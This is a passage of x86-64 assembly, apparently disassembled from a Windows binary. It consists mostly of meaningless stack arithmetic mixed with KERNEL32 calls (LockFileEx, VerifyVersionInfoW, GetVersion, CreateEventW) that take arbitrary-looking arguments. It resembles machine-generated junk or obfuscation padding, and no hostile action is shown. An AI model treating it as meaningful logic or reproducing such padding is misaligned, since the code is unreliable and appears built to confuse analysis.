mov qword [rsp + 0x14220], rax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6234], eax
mov eax, dword [rsp + 0x9ae8]
mov ecx, dword [rsp + 0x6ee8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9848], eax
mov rax, qword [0x140369c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
sub eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x13fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75e]
sub eax, ecx
mov byte [rsp + 0x708], al
lea rax, [0x140362470]
mov qword [rsp + 0x14228], rax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6588]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x747c], eax
mov rax, qword [rsp + 0x13198]
mov eax, dword [rax]
mov dword [rsp + 0x9e14], eax
lea rax, [rsp + 0x751c]
mov qword [0x140369ec8], rax
mov rax, qword [rsp + 0x13278]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14090]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75a], al
movzx eax, word [rsp + 0x18cc]
movzx ecx, word [rsp + 0x2b7c]
shl eax, cl
mov rcx, qword [rsp + 0x136d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13430]
movsx eax, word [rax]
movsx ecx, word [0x140362454]
xor eax, ecx
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0x13bd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x491]
sar eax, cl
mov rcx, qword [rsp + 0x13788]
mov byte [rcx], al
mov rax, qword [rsp + 0x130a8]
mov eax, dword [rax]
mov dword [rsp + 0x9e18], eax
mov rax, qword [0x140369d80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5610]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x84ac], eax
movzx eax, word [rsp + 0x17fc]
mov rcx, qword [rsp + 0x13728]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
lea rax, [rsp + 0x74c]
mov qword [rsp + 0x14230], rax
mov eax, dword [rsp + 0x9cc8]
mov dword [0x140369ed0], eax
mov eax, dword [rsp + 0x9d58]
mov ecx, dword [rsp + 0x9a30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
lea rax, [rsp + 0x9cf4]
mov qword [rsp + 0x14238], rax
mov rax, qword [rsp + 0x13748]
mov ecx, dword [rsp + 0x747c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x139b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
or eax, ecx
mov word [rsp + 0x1f24], ax
movzx eax, byte [rsp + 0x75e]
movzx ecx, byte [rsp + 0x716]
add eax, ecx
mov byte [rsp + 0x747], al
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63d4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13108]
mov dword [rcx], eax
lea rax, [rsp + 0x9bfc]
mov qword [rsp + 0x14240], rax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5414], eax
mov rax, qword [0x140369cc8]
mov rcx, qword [rsp + 0x12e88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140369cf0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x9e1c], eax
mov rax, qword [rsp + 0x13788]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6fc]
sub eax, ecx
mov rcx, qword [rsp + 0x135a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c70]
shl eax, cl
mov rcx, qword [rsp + 0x13148]
mov word [rcx], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b130]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9d10], eax
mov rax, qword [rsp + 0x130a0]
movzx eax, word [rax]
mov word [rsp + 0x2c74], ax
movzx eax, byte [rsp + 0x23a]
mov rcx, qword [rsp + 0x13a38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x74c], al
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c0c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5dd8], eax
mov rax, qword [rsp + 0x13d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e14], eax
mov rax, qword [0x140369e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13288]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
mov rax, qword [rsp + 0x138e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd4]
sub eax, ecx
mov word [0x140362468], ax
mov eax, dword [rsp + 0x7770]
mov dword [rsp + 0x9e20], eax
mov eax, dword [rsp + 0x734c]
mov ecx, dword [rsp + 0x601c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b30]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9e24], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0x9cd0]
mov qword [rsp + 0x14248], rax
mov rax, qword [rsp + 0x13cb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13080]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a04], eax
mov rax, qword [rsp + 0x13da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13668]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x735], al
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x14250], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x377b
mov r9d, 0x3839
mov r8d, 0xc968036a
mov edx, 1
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9e28], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0x636c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8340], eax
mov rax, qword [rsp + 0x137f8]
mov rcx, qword [rsp + 0x13f28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7438], eax
lea rax, [rsp + 0x748]
mov qword [0x140369ed8], rax
mov rax, qword [rsp + 0x13958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13268]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1570], ax
lea rax, [rsp + 0x752]
mov qword [rsp + 0x14258], rax
movzx eax, word [rsp + 0x1588]
movzx ecx, word [rsp + 0x2bd8]
and eax, ecx
mov word [rsp + 0x2234], ax
mov eax, dword [rsp + 0x9d24]
mov ecx, dword [rsp + 0x9aec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12de0]
mov eax, dword [rax]
mov dword [rsp + 0x9e2c], eax
mov rax, qword [rsp + 0x13108]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13730]
mov qword [rsp + 0x14260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov dword [rsp + 0x9e30], eax
mov rax, qword [rsp + 0x13e88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x58d4]
shl eax, cl
mov dword [rsp + 0x9dac], eax
mov rax, qword [rsp + 0x13058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1bd4], ax
lea rax, [rsp + 0x70d]
mov qword [0x140369ee0], rax
lea rax, [rsp + 0x9d98]
mov qword [rsp + 0x14268], rax
mov rax, qword [rsp + 0x13f80]
mov rcx, qword [rsp + 0x13f28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6ee8], eax
lea rax, [rsp + 0x7e50]
mov qword [rsp + 0x14270], rax
mov rax, qword [0x140369dd0]
mov ecx, dword [rsp + 0x6f2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9adc], eax
movzx eax, byte [rsp + 0x5cb]
movzx ecx, byte [rsp + 0x746]
sub eax, ecx
mov byte [rsp + 0x765], al
lea rax, [rsp + 0x2be4]
mov qword [rsp + 0x14278], rax
mov rax, qword [rsp + 0x13788]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13188]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6fc], al
lea rax, [rsp + 0x2c68]
mov qword [rsp + 0x14280], rax
mov rax, qword [rsp + 0x14268]
mov ecx, dword [rsp + 0x69c8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140369b78], eax
mov rcx, qword [rsp + 0x14018]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9940], eax
mov rax, qword [0x140369dc8]
mov ecx, dword [rsp + 0x8924]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14108]
mov dword [rcx], eax
lea rax, [rsp + 0x750]
mov qword [rsp + 0x14288], rax
mov rax, qword [rsp + 0x13d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14250]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c30], ax
mov rax, qword [rsp + 0x13f58]
mov rcx, qword [rsp + 0x12fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14270]
mov dword [rcx], eax
mov dword [rsp + 0x4b910], 0x11c
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0x14290], rax
mov rax, qword [rsp + 0x13600]
mov rcx, qword [0x140369c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ea8]
mov dword [rcx], eax
lea rax, [rsp + 0x6798]
mov qword [rsp + 0x14298], rax
mov rax, qword [rsp + 0x138a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b7c]
sub eax, ecx
mov rcx, qword [rsp + 0x140a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12fe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403525bb], al
mov eax, dword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x138c0]
mov qword [rsp + 0x142a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x142a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x13660]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7534]
shl eax, cl
mov dword [rsp + 0x7ccc], eax
mov rax, qword [rsp + 0x13c98]
mov eax, dword [rax]
mov ecx, dword [0x140369e30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5784], eax
mov eax, dword [rsp + 0x9a70]
mov dword [rsp + 0x9e34], eax
mov rax, qword [rsp + 0x13a18]
mov ecx, dword [0x140362498]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13f60]
mov dword [rcx], eax
lea rdx, [rsp + 0x428e8]
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9bd4], eax
movsx eax, word [rsp + 0x2ba0]
movsx ecx, word [rsp + 0x2c58]
and eax, ecx
mov rcx, qword [rsp + 0x13430]
mov word [rcx], ax
lea rax, [rsp + 0x731]
mov qword [rsp + 0x142a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, byte [rsp + 0x742]
movzx ecx, byte [rsp + 0x708]
and eax, ecx
mov byte [rsp + 0x2e0], al
movzx eax, word [rsp + 0x1310]
mov rcx, qword [rsp + 0x13e60]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362494], ax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x142b0], rax
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov ecx, dword [0x140369ed0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140a8]
mov dword [rcx], eax
mov edx, 0x25d9
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9bc8], eax
movzx eax, word [rsp + 0x2c4c]
movzx ecx, word [rsp + 0x2bb4]
add eax, ecx
mov rcx, qword [rsp + 0x13c70]
mov word [rcx], ax
mov rax, qword [rsp + 0x13708]
movzx eax, byte [rax]
mov byte [rsp + 0x767], al
mov rax, qword [rsp + 0x13b08]
mov rcx, qword [rsp + 0x13a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13d18]
mov dword [rcx], eax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0x142b8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x3bb6
mov r8d, 0x2cc7
mov edx, 0xd3
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9e38], eax
mov rax, qword [rsp + 0x13190]
mov ecx, dword [rsp + 0x9bb0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
lea rax, [rsp + 0x9c24]
mov qword [rsp + 0x142c0], rax
movzx eax, word [rsp + 0x2b90]
mov word [0x140369ee8], ax
mov rax, qword [rsp + 0x13ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13bb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x709c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov dword [rcx], eax
lea rax, [rsp + 0x9d2c]
mov qword [rsp + 0x142c8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9c14], eax
movsx eax, byte [rsp + 0x756]
cdq
mov ecx, 0x59
idiv ecx
mov rcx, qword [rsp + 0x139c0]
mov byte [rcx], al
movzx eax, word [0x14036247c]
mov word [rsp + 0x2c78], ax
movzx eax, word [rsp + 0x2b88]
mov rcx, qword [rsp + 0x13cd8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ba8], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13990]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x131d8]
mov byte [rcx], al
mov rax, qword [0x140369e18]
mov rcx, qword [rsp + 0x13368]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b70], eax
mov eax, dword [rsp + 0x9b08]
mov ecx, dword [rsp + 0x9c38]
sub ecx, eax
mov eax, ecx
mov dword [0x140362464], eax
mov rax, qword [rsp + 0x13eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x938c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bec], eax
mov eax, dword [rsp + 0x9d34]
mov dword [rsp + 0x9e3c], eax
mov rcx, qword [rsp + 0x135e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9940], eax
mov rax, qword [rsp + 0x13f80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
and eax, ecx
mov byte [rsp + 0x1c8], al
movzx eax, word [rsp + 0x2b98]
mov rcx, qword [rsp + 0x13898]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2850], ax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cf0], eax
lea rax, [rsp + 0x8e2c]
mov qword [rsp + 0x142d0], rax
mov rax, qword [rsp + 0x13f48]
mov rcx, qword [rsp + 0x13408]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x131f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14110]
mov ecx, dword [rsp + 0x9dc8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140369d18]
mov dword [rcx], eax
lea rax, [rsp + 0x1dc8]
mov qword [rsp + 0x142d8], rax
mov rax, qword [rsp + 0x13668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x744]
sub eax, ecx
mov rcx, qword [rsp + 0x132a0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x12f30]
movsx eax, word [rax]
movsx ecx, word [0x14036247c]
or eax, ecx
mov rcx, qword [rsp + 0x13dc8]
mov word [rcx], ax
lea rax, [rsp + 0x281]
mov qword [rsp + 0x142e0], rax
mov eax, dword [rsp + 0x99b8]
mov rcx, qword [rsp + 0x13c50]
mov qword [rsp + 0x142e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x142e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9e0c], eax
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x9d04]
mov qword [rsp + 0x142f0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d50]
movzx eax, word [rax]
cdq
mov ecx, 0xa68
idiv ecx
mov rcx, qword [rsp + 0x13728]
mov word [rcx], ax
mov rax, qword [0x140369e58]
mov eax, dword [rax]
mov dword [0x140369eec], eax
mov rax, qword [rsp + 0x131c0]
mov eax, dword [rax]
mov dword [rsp + 0x9e44], eax
mov eax, dword [rsp + 0x9bc4]
movzx ecx, al
mov eax, dword [rsp + 0x9c5c]
sar eax, cl
mov dword [rsp + 0x63d4], eax
lea rax, [rsp + 0x9e20]
mov qword [rsp + 0x142f8], rax
mov rax, qword [0x140369ba0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c34], ax
movzx eax, byte [rsp + 0x2bd]
mov rcx, qword [rsp + 0x13c40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x74f], al
lea rax, [rsp + 0x526c]
mov qword [rsp + 0x14300], rax
mov eax, dword [rsp + 0x9de0]
mov ecx, dword [rsp + 0x9ad4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bfc], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x33d8
mov r8d, 0x499
mov edx, 0x23
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9c2c], eax
lea rax, [rsp + 0x6588]
mov qword [rsp + 0x14308], rax
mov eax, dword [0x140362464]
mov ecx, dword [rsp + 0x9a5c]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13048]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13580]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
movsx ecx, byte [rsp + 0x730]
and eax, ecx
mov byte [rsp + 0x75c], al
movsx eax, word [0x1403624a4]
movsx ecx, word [rsp + 0x1570]
add eax, ecx
mov word [rsp + 0x1b34], ax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ab8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2e0], al
movzx eax, word [rsp + 0x2b94]
mov word [rsp + 0x2c7c], ax
mov rax, qword [rsp + 0x13640]
mov eax, dword [rax]
mov ecx, dword [0x140362460]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac0], eax
lea rax, [rsp + 0x8754]
mov qword [rsp + 0x14310], rax
mov rax, qword [rsp + 0x134d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x716]
sub eax, ecx
mov byte [rsp + 0x70d], al
lea rax, [0x140362450]
mov qword [0x140369ef0], rax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6658]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13df8]
mov eax, dword [rax]
mov dword [rsp + 0x9e48], eax
mov rax, qword [0x140369d70]
mov ecx, dword [rsp + 0x7534]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13768]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5284]
movzx ecx, al
mov eax, dword [rsp + 0x9df0]
shl eax, cl
mov dword [rsp + 0x9010], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14318], rax
mov rax, qword [rsp + 0x13728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a94]
sar eax, cl
mov rcx, qword [rsp + 0x13d50]
mov word [rcx], ax
mov edx, 0xca7
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9d88], eax
mov rax, qword [rsp + 0x13420]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x734]
xor eax, ecx
mov rcx, qword [rsp + 0x13ab8]
mov byte [rcx], al
lea rax, [rsp + 0x9d08]
mov qword [rsp + 0x14320], rax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [0x140369be8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14150]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1403624b8], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x377b
mov r8d, 0x3839
mov edx, 0x45
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9ca0], eax
lea rax, [rsp + 0x72c]
mov qword [rsp + 0x14328], rax
mov dword [rsp + 0x4ba30], 0x11c
mov rax, qword [rsp + 0x13ec0]
movzx eax, byte [rax]
mov rcx, qword [0x140369be0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73d], al
mov rax, qword [rsp + 0x13738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ba8], ax
lea rax, [rsp + 0x9e0c]
mov qword [rsp + 0x14330], rax
mov rax, qword [rsp + 0x12de0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cd8], eax
lea rax, [rsp + 0x9a88]
mov qword [rsp + 0x14338], rax
mov edx, 0x4df
mov rcx, qword [rsp + 0x13b60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a4c], eax
mov rax, qword [rsp + 0x13cf8]
mov ecx, dword [rsp + 0x9ae8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x136f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d04]
mov ecx, dword [rsp + 0x9b98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ce4], eax
lea rax, [rsp + 0x75d]
mov qword [rsp + 0x14340], rax
movzx eax, word [rsp + 0x1f38]
movzx ecx, word [rsp + 0x25a0]
sub eax, ecx
mov rcx, qword [0x140369cc0]
mov word [rcx], ax
mov rax, qword [0x140369e58]
mov ecx, dword [rsp + 0x6ef4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9960], eax
lea rax, [rsp + 0x81d0]
mov qword [rsp + 0x14348], rax
mov rax, qword [rsp + 0x131b8]
mov ecx, dword [rsp + 0x9d68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b78], eax
lea rax, [rsp + 0x8ee8]
mov qword [rsp + 0x14350], rax
movzx eax, byte [rsp + 0x75b]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x737], al
mov rax, qword [rsp + 0x140e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b84]
xor eax, ecx
mov rcx, qword [rsp + 0x13380]
mov word [rcx], ax
lea rax, [0x1403624b8]
mov qword [rsp + 0x14358], rax
movsx eax, byte [rsp + 0x748]
mov rcx, qword [rsp + 0x12ea0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x731], al
lea rax, [rsp + 0x6234]
mov qword [0x140369ef8], rax
mov eax, dword [0x140369da8]
mov dword [rsp + 0x9e4c], eax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75d]
or eax, ecx
mov rcx, qword [rsp + 0x13460]
mov byte [rcx], al
lea rdx, [rsp + 0x42e60]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a44], eax
mov dword [rsp + 0x20], 0x2950
mov r9d, 0x2b99
mov r8d, 0x2012
mov edx, 0x14a8
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9cd4], eax
mov rax, qword [rsp + 0x13610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x142d8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x133b8]
mov word [rcx], ax
lea rax, [0x14036245c]
mov qword [rsp + 0x14360], rax
mov eax, dword [rsp + 0x9e18]
mov ecx, dword [rsp + 0x6438]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c48]
mov ecx, dword [rsp + 0x9da4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9618], eax
mov rax, qword [0x140369d80]
mov ecx, dword [rsp + 0x9c78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c74], eax
mov rax, qword [rsp + 0x13d10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14230]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b8c]
mov rcx, qword [0x140369c80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140369df8], ax
lea rax, [rsp + 0x5418]
mov qword [rsp + 0x14368], rax
mov rax, qword [rsp + 0x12ea8]
mov rcx, qword [rsp + 0x13730]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9cbc], eax
lea rax, [rsp + 0x9a88]
mov qword [rsp + 0x14370], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9cec], eax
mov rax, qword [rsp + 0x130d0]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13088]
mov dword [rcx], eax
lea rax, [rsp + 0x9b3c]
mov qword [rsp + 0x14378], rax
mov rax, qword [rsp + 0x14328]
movsx eax, byte [rax]
movsx ecx, byte [0x1403525a2]
sub eax, ecx
mov rcx, qword [rsp + 0x139c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d58]
movsx eax, word [rax]
